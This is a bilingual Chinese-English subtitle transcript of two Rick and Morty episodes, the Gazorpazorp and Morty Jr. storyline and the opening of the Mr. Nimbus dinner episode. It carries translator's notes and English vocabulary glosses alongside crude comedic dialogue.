Stop filling it with your own insecurity.你会把他养成另一个Morty 呃
You're gonna turn it into Morty- uh, um跟 跟 跟你自己一样
more- more- more of you.又不是谁都是被心理不正常的科学家像冷血的爬行动物一样养大的
Well, we can't all be raised like reptiles by a mentally ill scientist.搞什么 啊 啊
What the aah! Aah!听着 你现在的表现是得不到奖励的
Listen to me. I'm not rewarding this behavior.你们够了 把他给我
Knock if off, both of you! G-give me him!把我的宝宝给我
Give me my baby!你们都是疯子
You're both nuts.我要自己教小Morty
I'm gonna raise Morty Jr. myself!小手在哪里
Where's your hands小手在这里
There's your hands我们来玩挥挥手
And that's how we play handy hands你会毁了这个孩子的 Morty
Oh, you are going to ruin that kid, Morty.至少我们在这点上达成了共识
At least we can agree on that.谢谢 蠢蠢
Thanks, Dum-Dum.我说"谢谢 蠢蠢"
I said, "Thanks, Dum-Dum."再多弄点来
Go get more.Summer 把你的罩袍穿上
Summer, put your burka on!这罩袍简直就是侵犯人权
That burka is a human-rights violation,而且这件上衣花了我不少钱的
and I spend a lot on this top.我在用一堆性爱娃娃的零件修传送枪
Look, I'm trying to repair a p-portal gun with a bunch of sex-doll parts,而且我还只能用一只手
and I have to do it one-handed不然这些Belushi就会把你抓走
to keep these Belushis from carting you off.此处指美国演员Jim Belushi 丹哈蒙非常厌恶他 在Community中也黑过此人
你至少做点贡献 对你的性别感到点惭愧吧
The least you could do is be ashamed of your gender.这地方到底怎么回事
Ugh. What's the deal with this place?这星球上怎么都是带把儿的
Why is it such a sausage planet,这些落后的白痴又怎么会造出机器人来的
and how did such backward idiots invent robots?很显然 在某个时期 这些格索尔帕人 发展到了一定程度
Obviously, at some point, the Gazorpians became so evolved他们用生育机器取代了女性
that they replaced females with birthing machines.这样一来 不会被女性分散注意力 也没有唠叨
The resultant lack of distraction and hen-pecking让他们专注于战争
allowed them to focus entirely on war,然后把自己的文明炸回了石器时代
so they bombed themselves back to the stone age,所以现在他们为了争夺假的[哔]
and now they just fight with each other over fake [Bleep]整天拿着石头棍子打来打去
with sticks and rocks all day long.你觉得没有了女性会更有效率
You think it's efficient to get rid of woman?你见过男厕所门口排队吗
You ever see a line for the men's room?你听 你有 你明白我的意思吗 Summer
Are you hear- do you li- do you hear me, Summer?投放
Droppin' loads.投放 - 投放
Droppin' loads - Droppin' loads剧情变复杂了啊
The plot thickens.你还是把眼睛遮住吧 Summer
Uh you might want to cover your eyes, Summer.好像我多想看似的
Yeah, like it was my dream to watch.好极了 宝贝儿
Yeah, baby!Summer 抓紧了
Summer, grab- grab hold.好极了 宝贝儿
Yeah, baby!啊啊
Aaaah!Rick外公 我们这是去哪啊
Grandpa Rick, where are we going?显然啊 Summer 看来这个社会的下层阶级
Well, obviously, Summer, it appears the lower tier of this society是被隐藏的统治阶级通过性和高科技控制的
is being manipulated through sex and advanced technology by a hidden ruling class.听着耳熟吗
Sound familiar?其实Rick此处提及的是电影《Zardoz》 投放机器人的巨大石人头造型也是出自此电影
票务大师(美国票券经销商)
Ticketmaster说曹操曹操到 Summer
Oh, there, there we go, Summer.嘿 哥们儿 兄弟
Hey, hey, brother. Hey, bro.你们这套好厉害啊
Nice racket you got going on here.我是来自地球的Rick Sanchez 1-137次元
Listen, I'm Rick Sanchez from Earth, dimension c-137.只有和平的意图 没有任何恶意
Don't mean you any harm. Coming in peace.挺好的 "邻里和睦"
It's all cool in the, uh- "Good in the neighborhood"我是想说这个 就这意思
is what I was trying to come- is what I meant.噢 我懂了 剧情转向了老套的"男人背后都有的"亚马逊人
Oh, I get it. The old behind-every-great-man Amazon twist.安静
Silence!希腊神话中的亚马逊人 是骁勇善战的纯女性部族
你的奴隶真是缺少管教
Your slave is ill-mannered.我的奴隶
My slave?我们猜你是来自一个落后些的世界
We assume you're from a more primitive world,男人还被允许作为仆人
where men are still permitted to be servants.如果他只是个男无赖 说一声
If he is a rogue male, tell us now,我们现在就杀了他
and we will kill him.他是我的奴隶 是奴隶 绝对是
He's my slave. He's my slave. He's definitely my slave.啊 哦哦噢
Ugh! Ohh! Oh-oh-oh!天啊 这简直是"Wubba lubba dub dub"的反面
Oh, boy. What's the opposite of "Wubba lubba dub dubs"?对不对 女士们先生们
Am I right, ladies and gentlemen?这是在逗我吧
Are you guys kidding me?小Morty
Oh, Morty Jr.!你是我特别的小家伙 对吧
You're gonna be a special little guy, aren't you?没错 你就是我独一无二的小家伙
You, oh yeah. You're my special little guy.噢噢 哈哈
Ohh. Ohh, ha ha!哒
Da.什么 小Morty
What was that, Morty Jr.?你是想说爸爸吗
Were you gonna say, "Dada"?说爸爸
Say, "Dada."死亡
Death!爸爸
"Dada."诅咒
Damnation!爸爸
Um..."Dada"?破坏 统治
Destruction. Domination.好样的
Nice.C区的蜘蛛还活着
The spider in sector C is still alive.请据此规划您的行程并做好延误的准备
Plan your route accordingly and expect delays.我们并不是在告诉您该怎么做
We're not telling you what to do.我们只是在分享我们的想法
We're just sharing how we feel.现在播报天气 是只有我 还是其他人也觉得冷
And now weather. Is anyone else cold, or is it just me?我叫Mar-Sha 格索尔帕索普的统治者
I am Mar-Sha, ruler of Gazorpazorp.有什么心事都可以跟我说
I am here if you need to talk.这是什么地方
What is this place?乐土 我们在消极敌对期的时候建造了这个地方
Paradise. We bulit it during the great passive-aggression,因为他们愈演愈烈的破坏行为
when the females separated from the males女性脱离了男性
due to their increasingly destructive behavior.有什么心事都可以跟我说
I'm here if you need to talk.有什么心事都可以跟我说
I'm here if you need to talk.我们从这里将这些代孕机器人投出去
From here, we dispense mechanical surrogates以维持我们的人口
to maintain our population.受孕的代孕机会被带回我们的育婴所
Fertilized surrogates are returned here to our nursery.女性会接受教育
The females are placed into educational programs让她们能够回馈这片乐土
where they can discover a service to our paradise同时最大程度地自我实现
that fulfills them most.至于男性
Males...他们去外面就好
...they get to play outside.那还是个婴儿
That was just a baby.一天之内 他就会长成一个成年的格索尔帕人
And within a day, he'll be an adult male Gazorpian,宇宙中最为凶残暴力的生物之一
one of the most aggressively violent creatures in the universe.等等 我们来这儿是因为有一个男性格索尔帕人出生在了地球上
Wait a minute. We're here becuase a male Gazorpian was born on our planet.没人和你说话不许随便开口 傻瓜
You speak when you're spoken to, ding-a-ling!不过这是真的 有一个你们的孩子出生在了地球上
It's true, though. One of your babies was born on Earth.你是地球的统治者吗
Are you the ruler of this Earth.你怎么知道
How did you know?因为你的上衣
The quality of your top.喜欢吗
Do you love it?爱死了
I love it.有什么心事都可以跟我说 - 有什么心事都可以跟我说
I'm here if you need to talk. - I'm here if you need to talk.如果这个格索尔帕人是男性
If the Gazorpian is male,你们的地球情况很不乐观
your Earth is in grave danger.我们会送你们回去 好把他干掉
We will give you passage back home so it can be terminated.不过先来点莫吉托鸡尾酒
But first, Mojitos.我们没时间喝莫吉托了
We don't have time for Mojitos.你这是对她们不敬
You're insulting them.我不在乎 Summer
I don't care, Summer.这地方太烂了
This place is the worst!我想回家
I want to go home!你想干嘛一点都不重要
Well, it really doesn't matter what you want,因为这个地方是由女人统治的
because this is a sane place where women rule.你知道我对这件事有什么想说的吗
Yeah. You know what I have to say about that?我简直不敢相信我的耳朵
I cannot believe my ears.哇
Whoo, boy!谁把青蛙放出来了哈
Who let the frogs out, huh?《Who let the frog out》是Crazy Frog的一首单曲
外公
Grandpa!外公 - 这听着是个父权社会的词啊
Grandpa? - That sounds patriarchal!意思是"父辈的父亲"
It means "father of fathers".这么说他不是你的奴隶
Then this one is not you slave,你们的地球不过是另一个被男人统治的星球罢了
and your Earth is yet another planet dominated by men.地球没有被男人"统治" 好吗
It's not dominated by us, okay?地球上的男女是平等的
On Earth, men and women are equals.平等的 同样的工作我们的工资只有你们的百分之70
Equals? We make 70% of your salary for the same job!抓住他们
Seize them!这种情况下说这个真的好吗 Summer
Was this really the time to make that point, Summer?给你 爸爸
This is for you, daddy.天啊
Oh, man!听我说 小Morty
Um, okay. Listen to me, Morty Jr.我得跟你说一些很重要的事 好吗
I've got to tell you something very important, okay?杀戮是不好的
Killing is bad, bad!你在犯傻吧 爸爸
You're silly, daddy.不 小Morty 我很认真
No, Morty Jr. I'm being serious, okay?你得把精力花在别的东西上
You need to put your energy into something else.跳舞怎么样
I mean, what about dancing?你想学跳舞吗
Would you like to learn how to dance?我想跳舞啊 在敌人的坟墓上跳
I'd like to dance, on the grave of my enemies.不 小Morty
Ohh! No, Morty Jr.!爸爸 我能去外面吗
Daddy, can I go outside?不行 绝对不行
No! Absolutely not!可是人和动物都在外面啊
But that's where all the people and the animals are.没错 但是你不能出去 因为
Yeah, but you can't go out there because the-外面的空气对你是有毒的
the air is poisonous for you!你会死掉的 只要出了这间屋子你就会死
You will die-You'll die instantly if you ever leave this house!明白吗
You hear me?真的吗 - 比珍珠还真
For real? - For real times a million, buddy.我们就好好待在屋子里好吗 我们跳舞吧 来试一下 好吗
So let's just stay inside, and, you know, let's just try dancing, right?看我呀 看
Look at me. Yay! Look.来跳舞啊 来嘛 跟我一起跳
We're gonna dance. Come on. Join- dance with me here.我们喜欢跳舞
We love to dance.为什么我们喜欢跳舞
Why do we love to dance?我说喜欢就喜欢
Because I said so!好样的 - 干得好
Nice. - Nice.台阶上的三行字为拉丁文 意为"如果你总想要诬陷"
如果
你总想要
诬陷
你们犯了什么事
So, what are you in for?因为我两腿之间有根鸡鸡
Because I got- I got a big, you know, penis between my legs.你做了什么
What- what- what are you in for?女人所能犯下的最深的罪
The worst crime a female can commit.Veronica Ann Bennett 因难看的刘海 我宣判你有罪
Veronica Ann Bennett, I find you guilty of having bad bangs.你发现没 刘海难看的人名字总是有三个字
You ever notice the ones with bad bangs always have three names?你在此被判处沉默刑
You are hereby sentenced to the silent treatment!这一点也不吓人好吗
This is gonna be cake.Jackie
Jackie!来自地球的Rick和Summer
Rick and Summer of Earth,因为你们对女人性的背叛
for the crimes of treason against womankind以及发出我们不使用的声音
and for creating the sound of which we do not speak因为这种声音根本不存在
because it does not exist.我在此判处你们
You're hereby sentenced to-啥啥啥 在沙发上过夜吗
What, what, what- a night on the couch?死刑
...Death.我现在恨死你了
I hate you so much right now.这是我们这么多年来的第一例死刑
This will be the first instance of capital punishment因为我们的卓越 已经500年没有过死刑了
in our society in 500 years due to our awesomeness,所以我们只能即兴发挥了
so we are forced to improvise.我们在那边的岩架上放了一块巨石
We placed a large boulder on that ledge.天啦 你们打算用巨石压死我们
Holy shit! Y-y-you're gonna crash us with a boulder?不是 别打岔
No! Stop interrupting!巨石会落到杠杆装置上
The boulder falls onto a lever然后弹出刀刃
that will lauch knives.啥 给我把枪让我把自己崩了吧
What? Just give me a gun. I'll kill myself.别打岔了 然后刀刃会
Stop interrupting! The knives will-好吧 你一开始说对了
Fine! You were right the first time, okay?巨石会压死你们
The boulder crushes you.我只是不想承认 高兴了吗
I just didn't want to admit you were right. Happy?别这样 别理他们 别理他们就好
No, just ignore them. Ignore them.真是个混球
Such an asshole.对不起 Summer
Look, I'm sorry, Summer.我没有尽到责任 害你让我们卷入了这种事
I feel bad that I let you drag us into this.我这个外公当得不够好
I wish I could have been a better grandpa to you，还有 发自内心的说
and, you know, for what it's worth,上衣很可爱 你穿着很好看
that is a really nice, cute top that you're wearing there.上衣 我的上衣 就是你之前称赞过的那件上衣
Top. My top. The same top you complimented earlier!看标签 看上面的字
Look- Look at the tag. Read it.上面写着"Marc Jacobs"
It says, "Marc Jacobs".Marc Jacobs 美国知名服装设计师 已出柜
Marc Jacob
Marc? Jacob?这不是男人的名字吗
These are names of the penis.没错 一个地球男人设计了这件上衣
Yes. An Earth man made this top.或许在你们的星球上 性别隔离是对的
Maybe on your planet separation of the genders is the right thing to do,但有一部分男性是作为同性恋出生在地球上的
But on Earth, a certain percentage of our males are born gay,所以我的衣服才比你们所有人的衣服都好看
which is why my clothes are better than all of yours.创造时尚的男人
A man made something fashionable?这是事实 有时候事实是残酷的
It's true. And sometimes the truth hurts,但它必须被接受 就好比我跟你说
but it must be accepted, like if I told you你粉底的颜色选错了
that you're using the wrong color foundation for you skin而且到脖子那儿就没了
and it ends at your neck,你看着就跟派对小丑一样
making you look like a party clown.好吧 我记住了
Okay, ouch. Noted.但如果你们把格索尔帕索普星的法律强加在地球上
But the fact remains if you impose Gazorpazor's laws on Earth,那你们比这个乱发出屁声的男人也好不到哪儿去
you're no better than the man whose farts shall remain unspoken.如果你们觉得我的上衣很好看 那你们就不能处死我们
And if you think my top is cute, you cannot execute.很好 给这些地球人一艘太空船
Very well. Give the Earth people a spacecraft让他们回那个奇怪的星球去吧
so they may head back to their weird planet,那里男女平等 但又不尽然
where women are kind of equal but not really.干得好 Summer 谢谢了 妹子们
Good job, Summer. And thanks, girls.我跟你说 你们这些妹子真是厉害啊
You know, you girls are really something, I'll tell you that.我刚到这儿的时候
You know, when we first got here, I was like...给他们艘飞船 快点
Give them a ship now.小Morty 你在抽烟
Morty Jr.! Smoking?!这样可不行
That is not okay!你能干嘛 禁我足吗
What are you gonna do? Ground me?反正我也不能出去
I can't go outside anyway!那又怎么样 你可以在屋子里玩啊
So what?! You could do things inside!你可以弹吉他啊 你可以手淫啊
You could play guitar. You could masturbate.我不想手淫 我想征服地球
I don't want to masturbate. I want to conquer the planet!又来了
Oh, here we go again!如果你征服了地球 谁还会爱你呢 小Morty
Who do you think is gonna love you if you conquer the planet, Morty Jr.?!爱 你就只关心爱
Love, that's all you care about!那武器呢 统治敌人呢
What about weapons?! What about domination of the enemy?!够了 不许再看历史频道了
All right, that's it. No more history channel!这台电视只许用来看动画和玩电子游戏
This TV is for cartoons and video games only!我讨厌电子游戏
I hate video games!给我收回这句话 把遥控器给我
You take that back! Give it to me! Ugh!我不是故意的
I-I-I didn't mean, I didn't mean that.我真的不是故意的 对不起
I didn't mean to do that. I'm sorry.我受不了了
I can't take this anymore!我宁愿呼吸毒气也不愿意再和你多待一分钟
I'd rather breathe poison than live another minute with you!不不不 不要
No! No, no, no! Stop!我的人生就是一个谎言
My life has been a lie!上帝已死
God is dead!政府烂透了
The government's lame!感恩节其实是屠杀印第安人的节日
Thanksgiving is about killing Indians!耶稣不是出生在圣诞的
Jesus wasn't born on Christmas!他们改了日期
They moved the date!这是异教徒的节日
It was a pagan holiday!爸
Oh, dad!怎么了 Morty
Yes, Morty?我儿子要占领地球 我却还不到开车的年龄
My son is gonna take over the planet, and I am too young to drive!你能帮我把他找回来吗
Can you help me get him back?!可以吧 Morty 应该可以吧
I suppose, Morty. I suppose.不过呢 先让我从这"早告诉你了"的高杯中啜饮一口
But first, a deep sip from a very tall glass of "I told you so."天啊 得了吧
Oh, my god! Please, dad! Come on!废弃工厂
禁止入内
爸 他在那儿
Dad, there he is!天啊 快住手
Oh, God. Hey, stop that!天啊 天啊 爸
Oh, my god! Oh, my god! Dad!小Morty 不要
Morty Jr., no!是我啊 是爸爸 没事的
It's me! It's dad. It's okay!把车放下 小Morty
Put the car down, Morty Jr.不 不 小手在哪里
No! No! Wh-where's your hands?小手在哪里
Where's your hands?我的车
My car!我们来玩挥挥手
And that's how we play handy hands闪开 Morty
Out of the- out of the way, Morty!不 - Morty 这是全宇宙最暴力的生物之一
No! - Morty, that's one of the most violently aggressive creatures in the universe!他是我儿子
He's my son!你想要伤害他 就先夸过我的尸体吧 Rick
And if you hurt him, you'll have to kill me, Rick!爸 我好迷茫
Dad, I'm so confused!我知道 小Morty 对不起
I know, Morty Jr. I'm sorry.我最后还是像我父母对我那样 和你撒谎 对你大喊大叫了
I ended up lying to you and yelling at you just like my parents did to me.父母也不过是有了小孩的孩子罢了
You know, parents are just kids having kids.前一分钟 你还觉得那个闪闪的机器人很好看
One minute, you like how a shiny robot looks.下一分钟 你就在和你的外星儿子肉搏了
The next minute, you're in a fist fight with your alien son.我是外星人
I'm an alien?我们都有糟糕的冲动 邪恶的念头
We all have bad impulses, bad thoughts.我们只是要学会把它们传变成别的有用的东西
We just have to learn to channel them into something constructive.但我想杀掉我看见的每一个人
But I want to murder everyone I see.说不定就有一份工作适合有这样想法的人呢
Well, you know, I mean, maybe there's a job out there for people that feel that way.的确是有的
Actually, there is.嗨 我是Brad Aderson 全国连载的连环漫画《大丹麦狗马默杜克》的作者
Hi. I'm Brad Anderson, creator of the nationally syndicated comic strip "Marmaduke".你应该考虑从事创作
You should consider being a creative.我深受自己那些无法控制的念头的困扰
I'm haunted by uncontrollable thoughts of我几乎每天脑海中萦绕着致残和性侵
mutilations and sexual assaults on a near daily basis.但我把它们变为了我的作品
But, you know, I channel it all into my work.哦 哇
Oh. Wow.我看《大丹麦狗马默杜克》的时候从没发现这一点啊
Huh. I never got that impression from reading "Marmaduke".难道你觉得我在想方设法地让你笑吗
Well, did you get the impression that I was trying to make you laugh?不是吧 那是Brad Anderson
Tell me that wasn't Brad Anderson.看见了吗 你听到了吧 小Morty
Aw, see? You hear that, Morty Jr.?或许你也可以从事某种创作呢
Maybe you could try being a creative of some kind.或许吧
Maybe!我一直都挺想让自己的脸出现在某本小说的背面
I always have sort of wanted to see my face on the back of a novel.虽然我真正想做的是割开别人的喉咙 但除了这个
I mean, what I really want to do is slit people's throats, but beyond that...你一定可以的 儿子
I know you can do it, son.我想我该找个地方自己住了
I think it's time I get a place of my own.我保证 只要我缺钱或是没地方洗衣服了都会给你打电话的
I promise I'll call you every day I need money or a place to do
laundry.我想你儿子会拿他小说的稿费赔我的车后轴的吧
So, I assume this novel your son writes is gonna pay for my rear axle?挺有趣的吧 Summer 我们做了这么多事
Isn't it interesting, Summer, that after all that stuff we just did,都没起什么作用 没有什么意义
nothing really mattered and there was no point to it?是不是让你什么都没有思考
Kind of makes you wonder, huh, about nothing?你确定你不会重新考虑下
Are you sure it doesn't make you re-evaluate your policy你不带女孩子去冒险这件事
about taking girls on adventures?不 鉴于我们今天的经历
No. I'd say, given what we've been through,我只想说我一直都是对的
that I was right the whole time任何关于性别政策的感悟
and any epiphanies about gender politics都只是你身为女性的不安全感的表现而已
were a projection of your feminine insecurity.不过你把这艘粉色太空船拿去吧
But, hey, why don't you have a pink spaceship?开着它到处转转 好好玩玩
Go ride around and have a jolly old time.这样说不定你就会闭嘴了
Maybe that'll shut you up.爸 Summer 这么长时间你们跑哪儿去了
Dad? Summer? Where were you guys this whole time?在格索尔帕索普星 你呢
On Gazorpazorp. Where were you?我在看报纸
I was reading a newspaper.真有意思 Beth
Oh, that's interesting, Beth.好玩的是
You know, it's funny.我也听说了点儿新闻
I-I-I heard about a little bit of news myself.看着 听着
Take a look. T-take a listen.Wubba lubba dub dubs
Wubba lubba dub dubs!这个世界还是有机会的
This, this world still got a- It's still got a chance!没错 哈哈
Yeah! Ha ha!下周见
See you- see you guys next week!大家下周见
See everybody next week.今天我们请到了小Mortimer Smith 纽约时报最畅销的作者
A word with Mortimer Smith, Jr., New York Times best-selling author,您的书写到了纯洁及其定义
your book is about innocence, the definition of it,当然 不可避免地 谈到了它的不可实现
and inevitably its impossibility.这本书是自传性质的吗
Is it autobiographical?当然 在我看来 所有的写作都是
Certainly. I mean, all writing is, in my opinion.我父亲一直把我锁在房子里 直到我成长为一个青少年
But my, uh, my father kept me locked in the house until I was a teenager,有过暴力 有过毒气的威胁 但也有舞蹈
and there was violence and, uh, threats of poison gas, but also dancing.但你撑住了 并用你的苦难完成了这部杰作
But you persevered and created this masterpiece from your sufferings.小Smith令人震惊的小说《我可怕的父亲》正风靡全国 直指人心
Smith Jr.'s mind-bending novel, "My Horrible Father" in every store and on everyone's mind.快去买吧 我们马上回来
Pick it up. We'll be right back.为人父母本来就是吃力不讨好 Morty
It's a thankless job, Morty.你已经尽力了
You did the best you could.我只希望他吃得好
I hope he's eating enough.S5
E1 Mort Dinner Rick Andre
Big man comin for dinner, broh. Better check the booze.
撑着点 瑞克 已经快到了
C'mon, Rick. We're -- We're almost there.别管我 莫蒂 这是唯一的方法
Ugh, leave me, Morty. It's the only way.什么
Wha-- Were -- Wha-- Were we --我们是刀锋战士吗
Were we Blades in that one?真他妈的酷
That's fucking tight.撑着点
Just stay with me.我好怕 莫蒂
I'm -- I'm scared, Morty.我能看到终点了
I can see the end.我太傻了
I'm a silly man.很抱歉把你扯进来
I'm -- I'm sorry I got you into this.让我来解决这个问题吧
and how about I get us outta this?喂
Hello?杰西卡
Hey, Jessica.我是跟你同校的莫蒂
I-It's Morty. From school.莫蒂 你好吗
Oh, hey, Morty. What's up?我只是想说 你很棒
Um, I just want to say that you're really great.我知道我们每次都抓不好时机
I know the timing never really worked out with us,但你真的很棒 我好想更了解你
but you're really great and I wish I got to know you better.还真是突然
Oh, I mean -- That's a lot.对 抱歉 我只是
Oh, uh, yeah, sorry, I guess I just不 你该早点说的
No, I just wish you said it sooner.什么
Wh-What?对 紧张有时候其实很自私
Yeah, I mean, being nervous is sort of selfish sometimes, y'know?维生系统故障
Life support systems failing.对 有道理
Yeah, that's a great point.你今晚有事吗
Well, what are you doing tonight?今晚
Tonight?对
Yeah想不想一起看电影之类的
Do you, like, want to watch a movie or something?好 今晚 没问题
Um, yeah. Tonight. Sounds great.糟了
Holy shit. Holy shit.拜托 拜托
Come on, come on!这是哪里
Where are we?到家了 瑞克
We're home, Rick.我降落在了海上
I-I landed us in the ocean.海 地球上的海
The ocean?! The ocean on Earth?!对 应该是
Uh, yeah, I-I guess so.该死
Oh, shit.完蛋了 我们得离开
Holy shit. We have to go.他妈的马上离开
We have to go right fucking now.什么
What?你碰到海了
You touched the ocean, Morty.为什么不能
What's the big该死
Oh, fuck. Shit.怎么了
What?该死
Shit.理查德 你亵渎了
Richard! You have desecrated the sacred treaty- sacred [ˈseɪkrɪd] 神圣的；宗教的；庄严的
海陆神圣条约
betwixt land and sea.现在准备承受劲敌宁波先生的怒火吧
Now face the wrath of your once and eternal foe -- Mr. Nimbus!- wrath [ræθ] 愤怒；激怒
- eternal [ɪˈtɜːrnl] 永恒的；不朽的
- foe [foʊ] 敌人；反对者；危害物
抱歉 他是谁
Sorry. Who is that?我的劲敌
My nemesis.- nemesis [ˈneməsɪs] 天敌
什么
What?我的劲敌 好吗
My fucking nemesis, okay?好 但他叫什么
Okay, but what was his name again?我是宁波先生
I am Mr. Nimbus!他会一直讲
He's gonna say that a lot.等等 到底是谁要来
W-Wait, so who is coming over again?他说是他的劲敌
He said his nemesis?瑞克有劲敌吗
Rick has a nemesis?好像是
I guess.他提过那个人吗
Has hementioned him before?我才要问你吧 我都没听说过
I-I was gonna ask you. First I'm hearing it.他是谁 魔术师吗
Who is he? Like a magic guy?瑞克是科学家 他是魔术师
Rick's science and he's magic?他应该算鱼
He's like a-a fish?一条鱼
A fish.他不是鱼
He's not a fish.他是宁波先生 他是海王兼混蛋
He's Mr. Nimbus. He's king of the ocean and he's a piece of shit.你满意了吗 莫蒂
Are you happy, Morty?碰到海开心吗
Are you happy you touched the ocean?他随时都会到
He's gonna be here any minute.来帮我做准备
Just help me smooth this over否则他一定会造成更多麻烦
or this guy's gonna become more trouble than he's worth.我今晚无法帮你太多 瑞克
Um, hey, I don't know how much I can help out tonight, Rick.杰西卡要来跟我
Jessica's coming over j-just to, like,一起看电影
watch a movie or something,但这是很棒的一步
but y'know, t-t-that's a good step.或许会有好的发展也说不定
That's a solid step to something, y'know?真的没人在乎你下面 莫蒂
Truly nobody cares about your dick, Morty.你越快面对现实越好
The sooner you learn that, the better.你不想我得到幸福
I think you just don't want me happy想要继续使唤我
'cause then I'll stop doing your crazy chores.- chore [tʃɔːr] 家庭杂务；日常的零星事务；讨厌的或累人的工作
相信我 你搞出那场海洋闹剧
Trust me, after that ocean fuck-up,你别想多做任何事
you don't get to do anything crazy.我一边假装
While I bullshit my way和宁波谈和平条约时
through this peace summit treaty with Nimbus,夏茉会潜入马里亚纳海沟
Summer is gonna dive into the Marianas Trench地球上环境最恶劣的区域之一
寻找赋予他力量的
to recover the forbidden shell神奇贝壳
that gives him his power因为夏茉值得信任
because Summer can be trusted.我们来甜蜜蜜
Let's lick ass.这是个谐音
好 什么 -我不喜欢
Okay, what? -I don't love that.那是自然
Of course you don't,因为你们没有性生活
'cause you guys aren't getting any.其实我们最近
Actually, your father and I非常性积极
have been very sex-positive lately.王医师建议我们多多尝试
Dr. Wong suggested we experiment.我们最近会一起看小电影
We've been watching pornography. Together.- pornography [pɔːrˈnɑːɡrəfi] 色情作品
恶熏 -我不想从海里回来了
Gross! I might never come back from the ocean.你得低调点 我的宝
Oh, you'll have to tone it down, babe.这些凡人承受不了
The squares can't handle it.- He's a bit of a square. 他有点儿古板。
你们的牙齿里都有自杀胶囊
There are suicide capsules in all of your teeth.可以用一下
Do what you want with that.莫蒂 你负责处理酒
C'mon, Morty. You're on booze duty.好了 宁波只喝高级货
Okay, Nimbus only drinks the good shit.所以把这酒丢进去
So just toss this whale-ass ocean-wine in here放个几世纪
and age it up a few centuries.在里面时间比较快吗
So time moves faster in there?像纳尼亚一样吗
I-I-Is it like a Narnia thing?《纳尼亚传奇》中的地名
我不是信上帝的海狸 莫蒂
I'm not a beaver who believes in Jesus Christ, Morty.《纳尼亚传奇》
但确实就像纳尼亚那样
But yeah, it's pretty much a Narnia thing.-好吧 但杰西卡 -你只负责端酒
-Okay, but Jessica -All you have to do is bring wine, Morty.-我拜托过你什么吗 -你
-When do I ask you for anything? -When do you --我好几年没完整上过一周课了
I haven't been to a full week of school in years!我什么都不会 这是为了什么
I don't know shit! And for what?你到底有多少敌人
How many enemies do you have to have?为什么老喜欢起冲突
Why is everything a fight with you?你要早点看清
You might want to learn this early, Morty.-人生充满了冲突 -跟宁波先生吗
-Life is a fight. -With Mr. Nimbus?你在笑我吗
Are you makin' fun of me?宁波先生是冷血下体杀手 莫蒂
Mr. Nimbus is an ice-cold dick killer, Morty.我们走 那是他的魔法海洋号角
Okay, let's go. That's his magic ocean horn.他是宁波先生吗
Is that Mr. Nimbus?-宁波 -理查德
-Nimbus. -Richard.你脸色真差
You look like ass.速战速决吧
Let's get this over with.抱歉 就是他吗
I'm sorry. This is the guy?-杰瑞 -等等 不
-Jerry. -Hold on. No.你是上过星球的人
I've seen you fuck a planet,竟然怕他
and this is the guy you're afraid of?我喜欢这个 瑞克
I like this one, Rick.他很健全且狂野
He is unbroken. Untamed.或许我们应该把牵绳拉紧一点
Perhaps he could use a firmer grip upon his leash.好 够了 我要报警了
Okay, that's enough. I'm calling the police.-没问题 -杰瑞
-Go ahead. -Jerry.-我真的会 -我能控制警察
-I will! Good. -I control them.-什么 -能控制警察 杰瑞
-Excuse me? -He controls police, Jerry.对 我如果会相信就太蠢了
Right, that tracks. In Dumb World.警察
Police?有个淫荡海男在我家门口
A strange horny ocean man is on my lawn.这应该不重要
Well, I don't see how that's relevant,但我们是白人
but we're white.不许动 不许动
Freeze! Freeze! Freeze! Freeze!打架
Fight.做爱
Fuck.离开 我们走
Flee. Let's get outta here.-来吧 理查德 -他怎么
-Shall we, Richard? -Okay, but how did he --天啊 杰瑞 他是宁波先生 他能控制警察
Jesus Christ, Jerry. He's Mr. Nimbus. He controls the police!你们好 我有走错地方吗
Um, hello? Am I in the right place?我刚刚看到一群警察在做爱
I just saw a bunch of cops having sex with each other?杰西卡 你好
Hi! Jessica! Hi!对 你没走错地方
Yeah, yup, y-you're in the right spot.各位 这位是杰西卡
Uh, everyone, th-this is Jessica.他们是我家人 这位是
This is everybody. Uh, this is --我是宁波先生
I am Mr. Nimbus.宁波 进来
Jesus, Nimbus, just get inside.莫蒂 去拿酒
Morty, grab the wine.好 等一下 进来吧 杰西卡
Yeah, in a minute. C-C'mon, Jessica.让开
Stand aside.除非你们配得上宁波
Unless you are worthy of Nimbus.如果你指的是那个意思
If that means what I think it means,我可以告诉你 我们会一起看片
I'll have you know, we watch porn together.天啊 宁波先生对你们点头了
Wow, okay! Looks like you guys just got the nod.点头
The nod?宁波先生直觉很准
Mr. Nimbus has a sense for these things.你们应该是性积极的夫妇吧
I take it you're a sex-positive couple?对 非常积极
Oh, yeah. Very much so.我们会一起看片
We watch porn together. Great!很好 那我就帮你们登记三人行
I'll mark you down as eligible for a threeway.这是相关资料
Here's all the information you'll need.海王想跟我们三人行
The king of the ocean wants to have a threesome with us?你们可以选择
Totally optional.不过机会难得 我保证 我很嫉妒你们
But a remarkable option to have, I assure you. Very jealous.最后一页有表单
There's a form on the last page请填写收礼物篮的地址
so we know where to send the gift basket.竟然有这种事
So that just happened.你好像不排斥
You don't sound upset about it.你也是
Neither do you.天啊 我们真的遇到这种事
Oh, my God. Is this happening? To us?我以为这种事只会在纽约或HBO上发生
I thought this only happened in New York or on HBO.王医师一向都是对的
Dr. Wong hasn't been wrong yet.没错
You're right.这就是她想要我们做的事
This is exactly what she was talking about.你可以当自己家
So, uh, yeah. J-Just make yourself comfortable.选一部电影或是一起看
Y'know, ch-choose a movie or -- or we can watch跨维度有线电视
some interdimensional cable if you want.请继续收看任天堂69
We now return to "Nintendo 69."任天堂 你在干嘛
Nintendo, oh, what are you doing to me?任天堂
Oh, Nintendo, oh, Nin--我们也可以看
Or we can watch whatever, y'know.你想看的东西
Wh-Whatever you're into.莫蒂 你是不是要负责拿酒
Morty, did I hear you're getting wine?对 我得端酒给宁波先生
Yeah, I gotta get some wine for Mr. Nimbus.有多的吗
Got any extra?当然
Oh. Uh, yeah.我可以拿来给你喝
Yeah, yeah, I'll go get some, just for you.太好了 快点回来
Cool. Hurry back.看来你好像需要帮忙
Looks like you could use a hand.对 太好了
Oh, hey! Yeah, th-th-that'd be great.-没问题 -小蹄 吃晚餐了
-No problem. Hoovy? -Dinner's ready!我马上回来 宝贝
Be right there, sugar hoof!我先帮年轻人把这些
Just helping this young man through a portal放了好几十年的酒
with that crate full of alcohol给搬过去
that's been here for decades.谢了 小蹄 谢谢你的帮忙
Hey, thanks, Hoovy. I-I really appreciate that.有个女生来我家 我很喜欢她
